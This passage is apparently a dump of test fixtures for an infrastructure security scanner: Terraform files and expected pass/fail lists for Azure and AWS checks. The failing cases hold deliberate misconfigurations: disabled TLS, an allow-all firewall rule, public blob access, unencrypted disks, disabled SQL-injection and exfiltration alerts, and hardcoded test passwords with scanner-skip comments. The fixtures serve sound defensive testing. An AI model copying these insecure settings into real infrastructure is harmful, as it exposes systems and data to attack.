sku_name = "S0" network { app_subnet_id = "/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.app_subnet_id}" service_runtime_subnet_id = "/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.service_runtime_subnet_id}" cidr_ranges = var.sc_cidr } timeouts { create = "60m" delete = "2h" } depends_on = [azurerm_resource_group.sc_corp_rg] tags = var.tags } # Fail case 1: If SKU = Basic tier resource "azurerm_spring_cloud_service" "fail_1" { name = var.sc_service_name resource_group_name = var.resource_group_name location = var.location sku_name = "B0" network { app_subnet_id = "/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.app_subnet_id}" service_runtime_subnet_id = "/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.service_runtime_subnet_id}" cidr_ranges = var.sc_cidr } timeouts { create = "60m" delete = "2h" } depends_on = [azurerm_resource_group.sc_corp_rg] tags = var.tags } # FAIL case 2: "service_runtime_subnet_id" does not exist resource "azurerm_spring_cloud_service" "fail_2" { name = var.sc_service_name resource_group_name = var.resource_group_name location = var.location sku_name = "S0" network { app_subnet_id = "/subscriptions/${var.subscription}/resourceGroups/${var.azurespringcloudvnetrg}/providers/Microsoft.Network/virtualNetworks/${var.vnet_spoke_name}/subnets/${var.app_subnet_id}" cidr_ranges = var.sc_cidr } timeouts { create = "60m" delete = "2h" } depends_on = [azurerm_resource_group.sc_corp_rg] tags = var.tags } ================================================ FILE: tests/terraform/graph/checks/resources/AzureSpringCloudTLSDisabled/expected.yaml ================================================ pass: - "azurerm_spring_cloud_service.pass" - "azurerm_spring_cloud_service.pass_basic" - "azurerm_spring_cloud_service.pass_notset" fail: - "azurerm_spring_cloud_service.fail_notset" - "azurerm_spring_cloud_service.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureSpringCloudTLSDisabled/main.tf ================================================ # Fail: SKU is not Basic and tls is disabled resource "azurerm_spring_cloud_service" "fail" { name = "example-springcloud" resource_group_name = azurerm_resource_group.fail.name location = azurerm_resource_group.fail.location sku_tier = "Standard" # Computed, so unknown if not set } resource "azurerm_spring_cloud_app" "fail" { name = "example-springcloudapp" resource_group_name = azurerm_resource_group.fail.name service_name = azurerm_spring_cloud_service.fail.name tls_enabled = false # defaults to false identity { type = "SystemAssigned" } } # Pass: SKU is Basic and tls is disabled resource "azurerm_spring_cloud_service" "pass_basic" { name = "example-springcloud" resource_group_name = azurerm_resource_group.pass_basic.name location = azurerm_resource_group.pass_basic.location sku_tier = "Basic" # Computed, so unknown if not set } resource "azurerm_spring_cloud_app" "pass_basic" { name = "example-springcloudapp" resource_group_name = azurerm_resource_group.pass_basic.name service_name = azurerm_spring_cloud_service.pass_basic.name tls_enabled = false # defaults to false identity { type = "SystemAssigned" } } # Pass: SKU is not set and tls is disabled resource "azurerm_spring_cloud_service" "pass_notset" { name = "example-springcloud" resource_group_name = azurerm_resource_group.pass_notset.name location = azurerm_resource_group.pass_notset.location sku_tier = "Basic" # Computed, so unknown if not set } resource "azurerm_spring_cloud_app" "unknown_notset" { name = "example-springcloudapp" resource_group_name = azurerm_resource_group.pass_notset.name service_name = azurerm_spring_cloud_service.pass_notset.name tls_enabled = false # defaults to false identity { type = "SystemAssigned" } } # Fail: SKU is not Basic and tls is not set resource "azurerm_spring_cloud_service" "fail_notset" { name = "example-springcloud" resource_group_name = azurerm_resource_group.fail_notset.name location = azurerm_resource_group.fail_notset.location sku_tier = "Standard" # Computed, so unknown if not set } resource "azurerm_spring_cloud_app" "fail_notset" { name = "example-springcloudapp" resource_group_name = azurerm_resource_group.fail_notset.name service_name = azurerm_spring_cloud_service.fail_notset.name # not setting tls_enabled defaults to false identity { type = "SystemAssigned" } } # Pass: SKU is not Basic and tls is true resource "azurerm_spring_cloud_service" "pass" { name = "example-springcloud" resource_group_name = azurerm_resource_group.pass.name location = azurerm_resource_group.pass.location sku_tier = "Standard" # Computed, so unknown if not set } resource "azurerm_spring_cloud_app" "pass" { name = "example-springcloudapp" resource_group_name = azurerm_resource_group.pass.name service_name = azurerm_spring_cloud_service.pass.name tls_enabled = true # defaults to false identity { type = "SystemAssigned" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureSqlDbEnableTransparentDataEncryption/expected.yaml ================================================ pass: - "azurerm_mssql_database.pass_1" - "azurerm_mssql_database.pass_2" fail: - "azurerm_mssql_database.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureSqlDbEnableTransparentDataEncryption/main.tf ================================================ # FAIL case: transparent_data_encryption_enabled = false resource "azurerm_mssql_database" "fail" { name = "vul-sqldb-1" server_id = azurerm_mssql_server.dev-sqlserv.id transparent_data_encryption_enabled = false sku_name = "DW100c" } # PASS case 1: transparent_data_encryption_enabled = true resource "azurerm_mssql_database" "pass_1" { name = "nvul-sqldb-2" server_id = azurerm_mssql_server.dev-sqlserv.id transparent_data_encryption_enabled = true } # PASS case 2: Default is 'true' resource "azurerm_mssql_database" "pass_2" { name = "nvul-sqldb-5" server_id = azurerm_mssql_server.dev-sqlserv.id } ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccConfigSharedKeyAuth/expected.yaml ================================================ pass: - "azurerm_storage_account.pass" fail: - "azurerm_storage_account.fail_1" - "azurerm_storage_account.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccConfigSharedKeyAuth/main.tf ================================================ variable "rg-name" { default = "pud-bc-rg" } variable "location" { default = "northeurope" } # Case 1: Pass: shared_access_key_enabled = False resource "azurerm_storage_account" "pass" { name = "pud-storage2023abc1" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" shared_access_key_enabled = false tags = { bc_status = "pass" } } # Case 2: Fail: shared_access_key_enabled does NOT exist resource "azurerm_storage_account" "fail_1" { name = "pud-storage2023abc2" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" tags = { bc_status = "fail_1" } } # Case 3: Fail: shared_access_key_enabled = True resource "azurerm_storage_account" "fail_2" { name = "pud-storage2023abc3" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" shared_access_key_enabled = true tags = { bc_status = "fail_2" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccConfigWithPrivateEndpoint/expected.yaml ================================================ pass: - "azurerm_storage_account.pass" fail: - "azurerm_storage_account.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccConfigWithPrivateEndpoint/main.tf ================================================ # PASS case: resources are connected and network_rules block contains all the required arguments resource "azurerm_storage_account" "pass" { name = "pass" resource_group_name = azurerm_resource_group.pud_rg.name location = azurerm_resource_group.pud_rg.location account_tier = "Standard" account_replication_type = "LRS" tags = { environment = "staging" } } resource "azurerm_private_endpoint" "dep-pep-j1-10-rlp-76252" { name = "dep-pep-j1-10-rlp-76252" resource_group_name = azurerm_resource_group.pud_rg.name location = azurerm_resource_group.pud_rg.location subnet_id = azurerm_subnet.pud-subn.id private_service_connection { name = "policyauto3" private_connection_resource_id = azurerm_storage_account.pass.id is_manual_connection = false subresource_names = ["blob"] } } # FAIL case: azurerm_private_endpoint resource is not connected resource "azurerm_storage_account" "fail" { name = "fail" resource_group_name = azurerm_resource_group.pud_rg.name location = azurerm_resource_group.pud_rg.location account_tier = "Standard" account_replication_type = "GRS" tags = { environment = "staging" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccConfigWithoutBlobAnonymousAccess/expected.yaml ================================================ pass: - "azurerm_storage_account.pass" fail: - "azurerm_storage_account.fail_1" - "azurerm_storage_account.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccConfigWithoutBlobAnonymousAccess/main.tf ================================================ variable "rg-name" { default = "pud-bc-rg" } variable "location" { default = "northeurope" } # Case 1: Pass: allow_nested_items_to_be_public = False resource "azurerm_storage_account" "pass" { name = "pud-storage2023abc1" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" allow_nested_items_to_be_public = false tags = { bc_status = "pass" } } # Case 2: Fail: allow_nested_items_to_be_public does NOT exist resource "azurerm_storage_account" "fail_1" { name = "pud-storage2023abc2" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" tags = { bc_status = "fail_1" } } # Case 3: Fail: allow_nested_items_to_be_public = True resource "azurerm_storage_account" "fail_2" { name = "pud-storage2023abc3" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" allow_nested_items_to_be_public = true tags = { bc_status = "fail_2" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccConfig_SAS_expirePolicy/expected.yaml ================================================ pass: - "azurerm_storage_account.pass_1" - "azurerm_storage_account.pass_2" - "azurerm_storage_account.pass_3" fail: - "azurerm_storage_account.fail_1" - "azurerm_storage_account.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccConfig_SAS_expirePolicy/main.tf ================================================ variable "rg-name" { default = "pud-bc-rg" } variable "location" { default = "northeurope" } # Case 1: Pass: shared_access_key_enabled = false doesn't matter if sas_policy exists or not resource "azurerm_storage_account" "pass_1" { name = "pud-storage2023abc1" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" shared_access_key_enabled = false sas_policy { expiration_period = "90.00:00:00" expiration_action = "Log" } tags = { bc_status = "pass" } } # Case 2: Pass: shared_access_key_enabled is False and it's okay if sas_policy.expiration_period is empty resource "azurerm_storage_account" "pass_2" { name = "pud-storage2023abc4" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" shared_access_key_enabled = false sas_policy { expiration_period = "" } } # Case 3: Pass: shared_access_key_enabled is True but expiration_period is configured. resource "azurerm_storage_account" "pass_3" { name = "pud-storage2023abc4" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" shared_access_key_enabled = true sas_policy { expiration_period = "90.00:00:00" } } # Case 4: Fail: None of the arguments exist, so by default "sas_policy.expiration_period" is true resource "azurerm_storage_account" "fail_1" { name = "pud-storage2023abc2" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" } # Case 5: FAIL: shared_access_key_enabled is True and "sas_policy.expiration_period" is NOT configured resource "azurerm_storage_account" "fail_2" { name = "pud-storage2023abc3" resource_group_name = var.rg-name location = var.location account_tier = "Standard" account_replication_type = "GRS" shared_access_key_enabled = true sas_policy { expiration_period = "" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccountEnableSoftDelete/expected.yaml ================================================ pass: - "azurerm_storage_account.pass_1" - "azurerm_storage_account.pass_2" fail: - "azurerm_storage_account.fail_1" - "azurerm_storage_account.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureStorageAccountEnableSoftDelete/main.tf ================================================ # PASS case 1: If "account_kind" is not mentioned, it equals to "StorageV2" # Reference: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#account_kind resource "azurerm_storage_account" "pass_1" { name = "pud_store_acc" resource_group_name = azurerm_resource_group.pud_rg.name location = azurerm_resource_group.pud_rg.location account_tier = "Standard" account_replication_type = "GRS" blob_properties { delete_retention_policy { days = 10 } } } # PASS case 2: If "blob_properties.delete_retention_policy.days" is not mentioned, it defaults to 7 days # Reference: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#days resource "azurerm_storage_account" "pass_2" { name = "pud_store_acc" resource_group_name = azurerm_resource_group.pud_rg.name location = azurerm_resource_group.pud_rg.location account_tier = "Standard" account_replication_type = "GRS" account_kind = "BlobStorage" blob_properties { delete_retention_policy { } } } # FAIL case 1: "account_kind" should NOT equal to "FileStorage" resource "azurerm_storage_account" "fail_1" { name = "pud_store_acc" resource_group_name = azurerm_resource_group.pud_rg.name location = azurerm_resource_group.pud_rg.location account_tier = "Standard" account_replication_type = "GRS" account_kind = "FileStorage" blob_properties { delete_retention_policy { days = 10 } } } # FAIL case 2: "delete_retention_policy" block is not defined resource "azurerm_storage_account" "fail_2" { name = "pud_store_acc" resource_group_name = azurerm_resource_group.pud_rg.name location = azurerm_resource_group.pud_rg.location account_tier = "Standard" account_replication_type = "GRS" blob_properties { } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureSubnetConfigWithNSG/expected.yaml ================================================ pass: - "azurerm_subnet.pass" - "azurerm_subnet.pass_netapp" - "azurerm_subnet.fw-snet[0]" - "azurerm_subnet.gw_snet[0]" fail: - "azurerm_subnet.fail_3" ================================================ FILE: tests/terraform/graph/checks/resources/AzureSubnetConfigWithNSG/main.tf ================================================ # PASS case resource "azurerm_subnet" "pass" { name = "pass" resource_group_name = azurerm_resource_group.pud_rg.name virtual_network_name = azurerm_virtual_network.pud_vnet.name address_prefixes = ["192.0.8.0/24"] enforce_private_link_endpoint_network_policies = true enforce_private_link_service_network_policies = true delegation { name = "Microsoft.Web/serverFarms" service_delegation { name = "Microsoft.Web/serverFarms" } } } resource "azurerm_network_security_group" "pass" { name = "pass" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name security_rule { name = "default" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } } resource "azurerm_subnet_network_security_group_association" "pass" { subnet_id = azurerm_subnet.pass.id network_security_group_id = azurerm_network_security_group.pass.id } # Pass: ignore if service_delegation equal to Microsoft.Netapp/volumes resource "azurerm_subnet" "pass_netapp" { name = "pass_netapp" resource_group_name = azurerm_resource_group.pud_rg.name virtual_network_name = azurerm_virtual_network.pud_vnet.name address_prefixes = ["192.0.8.0/24"] enforce_private_link_endpoint_network_policies = true enforce_private_link_service_network_policies = true delegation { name = "Microsoft.Netapp/volumes" service_delegation { name = "Microsoft.Netapp/volumes" } } } resource "azurerm_network_security_group" "pass_netapp" { name = "pass_netapp" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name security_rule { name = "default" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } } resource "azurerm_subnet_network_security_group_association" "pass_netapp" { subnet_id = azurerm_subnet.pass_netapp.id network_security_group_id = azurerm_network_security_group.pass_netapp.id } # FAIL case 3: Subnet not associated to NSG resource OR NSG resource doesn't exist resource "azurerm_subnet" "fail_3" { name = "fail_3" resource_group_name = azurerm_resource_group.dep-rg-j1-1-rlp-1473.name virtual_network_name = azurerm_virtual_network.dep-vn-j1-2-rlp-1473.name address_prefixes = ["10.0.17.0/24"] } # Pass - AzureFirewallSubnet is required for Azure Firewall and has predefined configurations that should not be overridden. resource "azurerm_subnet" "fw-snet" { count = var.firewall_subnet_address_prefix != null ? 1 : 0 name = "AzureFirewallSubnet" resource_group_name = local.resource_group_name virtual_network_name = azurerm_virtual_network.vnet.name address_prefixes = var.firewall_subnet_address_prefix service_endpoints = var.firewall_service_endpoints } # Pass - GatewaySubnet is required for Azure VPN gateways and should not have user-defined configurations that conflict with its reserved purpose. resource "azurerm_subnet" "gw_snet" { count = var.gateway_subnet_address_prefix != null ? 1 : 0 name = "GatewaySubnet" resource_group_name = local.resource_group_name virtual_network_name = azurerm_virtual_network.vnet.name address_prefixes = var.gateway_subnet_address_prefix service_endpoints = var.gateway_service_endpoints } ================================================ FILE: tests/terraform/graph/checks/resources/AzureSynapseWorkspaceVAisEnabled/expected.yaml ================================================ pass: - "azurerm_synapse_workspace_vulnerability_assessment.va_pass" fail: - "azurerm_synapse_workspace_vulnerability_assessment.va_fail_1" - "azurerm_synapse_workspace_vulnerability_assessment.va_fail_2" - "azurerm_synapse_workspace_vulnerability_assessment.va_fail_3" ================================================ FILE: tests/terraform/graph/checks/resources/AzureSynapseWorkspaceVAisEnabled/main.tf ================================================ variable "default_var" { default = "pud-default" } # Case 1: Pass: Connection exists and recurring_scans.*.enabled = true resource "azurerm_synapse_workspace" "synapse_ws_pass_1" { name = "synapse_ws_pass_1" resource_group_name = var.default_var location = var.default_var storage_data_lake_gen2_filesystem_id = var.default_var sql_administrator_login = "pudsqladminuser" sql_administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } identity { type = "SystemAssigned" } tags = { Env = "production" } } resource "azurerm_synapse_workspace_security_alert_policy" "synapse_ws_policy_1" { synapse_workspace_id = azurerm_synapse_workspace.synapse_ws_pass_1.id policy_state = "Enabled" disabled_alerts = [ "Sql_Injection", "Data_Exfiltration" ] retention_days = 20 } resource "azurerm_synapse_workspace_vulnerability_assessment" "va_pass" { workspace_security_alert_policy_id = azurerm_synapse_workspace_security_alert_policy.synapse_ws_policy_1.id storage_container_path = var.default_var recurring_scans { enabled = true } } # Case 2: Fail: Connection doesn't exist but recurring_scans.*.enabled = true resource "azurerm_synapse_workspace" "synapse_ws_fail_1" { name = "synapse_ws_fail_1" resource_group_name = var.default_var location = var.default_var storage_data_lake_gen2_filesystem_id = var.default_var sql_administrator_login = "pudsqladminuser" sql_administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } identity { type = "SystemAssigned" } tags = { Env = "production" } } resource "azurerm_synapse_workspace_security_alert_policy" "synapse_ws_policy_2" { synapse_workspace_id = azurerm_synapse_workspace.synapse_ws_fail_1.id policy_state = "Enabled" disabled_alerts = [ "Sql_Injection", "Data_Exfiltration" ] retention_days = 20 } resource "azurerm_synapse_workspace_vulnerability_assessment" "va_fail_1" { workspace_security_alert_policy_id = var.default_var storage_container_path = var.default_var recurring_scans { enabled = true } } # Case 3: Fail: Connection exists but recurring_scans.*.enabled = false resource "azurerm_synapse_workspace" "synapse_ws_fail_2" { name = "synapse_ws_fail_2" resource_group_name = var.default_var location = var.default_var storage_data_lake_gen2_filesystem_id = var.default_var sql_administrator_login = "pudsqladminuser" sql_administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } identity { type = "SystemAssigned" } tags = { Env = "production" } } resource "azurerm_synapse_workspace_security_alert_policy" "synapse_ws_policy_3" { synapse_workspace_id = azurerm_synapse_workspace.synapse_ws_fail_2.id policy_state = "Enabled" disabled_alerts = [ "Sql_Injection", "Data_Exfiltration" ] retention_days = 20 } resource "azurerm_synapse_workspace_vulnerability_assessment" "va_fail_2" { workspace_security_alert_policy_id = azurerm_synapse_workspace_security_alert_policy.synapse_ws_policy_3.id storage_container_path = var.default_var recurring_scans { enabled = false } } # Case 4: Fail: 'azurerm_synapse_workspace_security_alert_policy' not connected to 'azurerm_synapse_workspace' but recurring_scans.*.enabled = true resource "azurerm_synapse_workspace" "synapse_ws_fail_3" { name = "synapse_ws_fail_3" resource_group_name = var.default_var location = var.default_var storage_data_lake_gen2_filesystem_id = var.default_var sql_administrator_login = "pudsqladminuser" sql_administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } identity { type = "SystemAssigned" } tags = { Env = "production" } } resource "azurerm_synapse_workspace_security_alert_policy" "synapse_ws_policy_4" { synapse_workspace_id = var.default_var policy_state = "Enabled" disabled_alerts = [ "Sql_Injection", "Data_Exfiltration" ] retention_days = 20 } resource "azurerm_synapse_workspace_vulnerability_assessment" "va_fail_3" { workspace_security_alert_policy_id = azurerm_synapse_workspace_security_alert_policy.synapse_ws_policy_4.id storage_container_path = var.default_var recurring_scans { enabled = true } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/expected.yaml ================================================ pass: - "azurerm_synapse_workspace.workspace_good" fail: - "azurerm_synapse_workspace.workspace_bad" ================================================ FILE: tests/terraform/graph/checks/resources/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_synapse_workspace" "workspace_good" { name = "example" sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret managed_virtual_network_enabled = true tags = { Env = "production" } } resource "azurerm_synapse_workspace" "workspace_bad" { name = "example" sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret tags = { Env = "production" } } resource "azurerm_synapse_firewall_rule" "firewall_rule" { name = "AllowAll" synapse_workspace_id = azurerm_synapse_workspace.workspace_bad.id start_ip_address = "0.0.0.0" end_ip_address = "255.255.255.255" } ================================================ FILE: tests/terraform/graph/checks/resources/AzureUnattachedDisksAreEncrypted/expected.yaml ================================================ pass: - "azurerm_virtual_machine.virtual_machine_good_1" - "azurerm_virtual_machine.virtual_machine_good_2" - "azurerm_virtual_machine.virtual_machine_good_3" fail: - "azurerm_virtual_machine.virtual_machine_bad_1" - "azurerm_virtual_machine.virtual_machine_bad_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureUnattachedDisksAreEncrypted/main.tf ================================================ resource "azurerm_resource_group" "group" { name = "example-resources" location = "West Europe" } resource "azurerm_managed_disk" "managed_disk_good_1" { name = "acctestmd" location = "West US 2" resource_group_name = azurerm_resource_group.group.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" encryption_settings { enabled = true } tags = { environment = "staging" } } resource "azurerm_managed_disk" "managed_disk_good_2" { name = "acctestmd" location = "West US 2" resource_group_name = azurerm_resource_group.group.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" disk_encryption_set_id = "12345" tags = { environment = "staging" } } resource "azurerm_managed_disk" "managed_disk_good_3" { name = "acctestmd" location = "West US 2" resource_group_name = azurerm_resource_group.group.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" tags = { environment = "staging" } encryption_settings { enabled = true } } resource "azurerm_managed_disk" "managed_disk_bad_1" { name = "acctestmd" location = "West US 2" resource_group_name = azurerm_resource_group.group.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" tags = { environment = "staging" } } resource "azurerm_managed_disk" "managed_disk_bad_2" { name = "acctestmd" location = "West US 2" resource_group_name = azurerm_resource_group.group.name storage_account_type = "Standard_LRS" create_option = "Empty" disk_size_gb = "1" encryption_settings { enabled = false } tags = { environment = "staging" } } resource "azurerm_virtual_machine" "virtual_machine_good_1" { name = "$vm" location = "location" resource_group_name = azurerm_resource_group.group.name network_interface_ids = ["id"] vm_size = "Standard_DS1_v2" storage_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" managed_disk_id = azurerm_managed_disk.managed_disk_good_1.id } } resource "azurerm_virtual_machine" "virtual_machine_good_2" { name = "$vm" location = "location" resource_group_name = azurerm_resource_group.group.name network_interface_ids = ["id"] vm_size = "Standard_DS1_v2" storage_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" managed_disk_id = azurerm_managed_disk.managed_disk_good_2.id } } resource "azurerm_virtual_machine" "virtual_machine_good_3" { name = "$vm" location = "location" resource_group_name = azurerm_resource_group.group.name network_interface_ids = ["id"] vm_size = "Standard_DS1_v2" storage_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = "managed" } } resource "azurerm_virtual_machine" "virtual_machine_bad_1" { name = "$vm" location = "location" resource_group_name = azurerm_resource_group.group.name network_interface_ids = ["id"] vm_size = "Standard_DS1_v2" storage_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = azurerm_managed_disk.managed_disk_bad_1.id } } resource "azurerm_virtual_machine" "virtual_machine_bad_2" { name = "$vm" location = "location" resource_group_name = azurerm_resource_group.group.name network_interface_ids = ["id"] vm_size = "Standard_DS1_v2" storage_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = azurerm_managed_disk.managed_disk_bad_2.id } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureVMconfigPublicIP_SerialConsoleAccess/expected.yaml ================================================ pass: - "azurerm_network_interface.pass_int_1" - "azurerm_network_interface.pass_int_2" - "azurerm_network_interface.pass_int_3" - "azurerm_network_interface.pass_int_4" fail: - "azurerm_network_interface.fail_int" ================================================ FILE: tests/terraform/graph/checks/resources/AzureVMconfigPublicIP_SerialConsoleAccess/main.tf ================================================ variable "prefix" { default = "pud_bc" } variable "pub-ip-id" { default = "/subscriptions/61pudrpd-6234-7856-a98e-09pu7dep65h2/resourceGroups/pud-rg/providers/Microsoft.Network/publicIPAddresses/pud-bc-checkov-ip" } data "azurerm_network_interface" "pud-id" { name = "existing" resource_group_name = "pud-rg" } resource "azurerm_resource_group" "pud-rg" { name = "${var.prefix}-rg" location = "West Europe" } # Case 1: FAIL case: "ip_configuration.public_ip_address_id" exists and boot_diagnostics also exists resource "azurerm_network_interface" "fail_int" { name = "pass-nic" location = azurerm_resource_group.pud-rg.location resource_group_name = azurerm_resource_group.pud-rg.name ip_configuration { name = "internal" subnet_id = var.prefix private_ip_address_allocation = "Dynamic" public_ip_address_id = var.pub-ip-id } } resource "azurerm_virtual_machine" "pass_vm" { name = "${var.prefix}-vm" location = azurerm_resource_group.pud-rg.location resource_group_name = azurerm_resource_group.pud-rg.name network_interface_ids = [azurerm_network_interface.fail_int.id] vm_size = "Standard_DS1_v2" boot_diagnostics { storage_account_uri = null # null enables managed storage account for boot diagnostics enabled = true storage_uri = "" } } # Case 2: Pass case: "ip_configuration.public_ip_address_id" does NOT exist resource "azurerm_network_interface" "pass_int_1" { name = "pass-nic" location = azurerm_resource_group.pud-rg.location resource_group_name = azurerm_resource_group.pud-rg.name ip_configuration { name = "internal" subnet_id = var.prefix private_ip_address_allocation = "Dynamic" } } resource "azurerm_linux_virtual_machine" "pud-linux-vm" { name = "pud-linux-vm" resource_group_name = azurerm_resource_group.pud-rg.name location = azurerm_resource_group.pud-rg.location size = "Standard_F2" admin_username = "pud-admin" network_interface_ids = [ azurerm_network_interface.pass_int_1.id, ] } # Case 3: Pass case: "ip_configuration.public_ip_address_id" exists but boot_diagnostics does not exist resource "azurerm_network_interface" "pass_int_2" { name = "pass-nic" location = azurerm_resource_group.pud-rg.location resource_group_name = azurerm_resource_group.pud-rg.name ip_configuration { name = "internal" subnet_id = var.prefix private_ip_address_allocation = "Dynamic" public_ip_address_id = var.pub-ip-id } } resource "azurerm_virtual_machine" "pass_vm" { name = "${var.prefix}-vm" location = azurerm_resource_group.pud-rg.location resource_group_name = azurerm_resource_group.pud-rg.name network_interface_ids = [azurerm_network_interface.pass_int_2.id] vm_size = "Standard_DS1_v2" # boot_diagnostics { # storage_account_uri = null # null enables managed storage account for boot diagnostics # enabled = true # storage_uri = "" # } } # Case 4: Pass case: "ip_configuration.public_ip_address_id" does exist but is empty resource "azurerm_network_interface" "pass_int_3" { name = "pass-nic" location = azurerm_resource_group.pud-rg.location resource_group_name = azurerm_resource_group.pud-rg.name ip_configuration { name = "internal" subnet_id = var.prefix private_ip_address_allocation = "Dynamic" public_ip_address_id = "" } } resource "azurerm_linux_virtual_machine" "pass_vm_3" { name = "pud-linux-vm" resource_group_name = azurerm_resource_group.pud-rg.name location = azurerm_resource_group.pud-rg.location size = "Standard_F2" admin_username = "pud-admin" network_interface_ids = [ azurerm_network_interface.pass_int_3.id, ] } # Case 5: Pass case: "ip_configuration.public_ip_address_id" does exist but is null resource "azurerm_network_interface" "pass_int_4" { name = "pass-nic" location = azurerm_resource_group.pud-rg.location resource_group_name = azurerm_resource_group.pud-rg.name ip_configuration { name = "internal" subnet_id = var.prefix private_ip_address_allocation = "Dynamic" public_ip_address_id = null } } resource "azurerm_linux_virtual_machine" "pass_vm_4" { name = "pud-linux-vm" resource_group_name = azurerm_resource_group.pud-rg.name location = azurerm_resource_group.pud-rg.location size = "Standard_F2" admin_username = "pud-admin" network_interface_ids = [ azurerm_network_interface.pass_int_4.id, ] } ================================================ FILE: tests/terraform/graph/checks/resources/CLoudFrontS3OriginConfigWithOAI/expected.yaml ================================================ fail: - "aws_cloudfront_distribution.fail" pass: - "aws_cloudfront_distribution.pass_1" - "aws_cloudfront_distribution.pass_2" ================================================ FILE: tests/terraform/graph/checks/resources/CLoudFrontS3OriginConfigWithOAI/main.tf ================================================ resource "aws_s3_bucket" "b" { bucket = "mybucket" tags = { Name = "My bucket" } } resource "aws_cloudfront_distribution" "pass_1" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_id = "failoverS3" s3_origin_config { origin_access_identity = 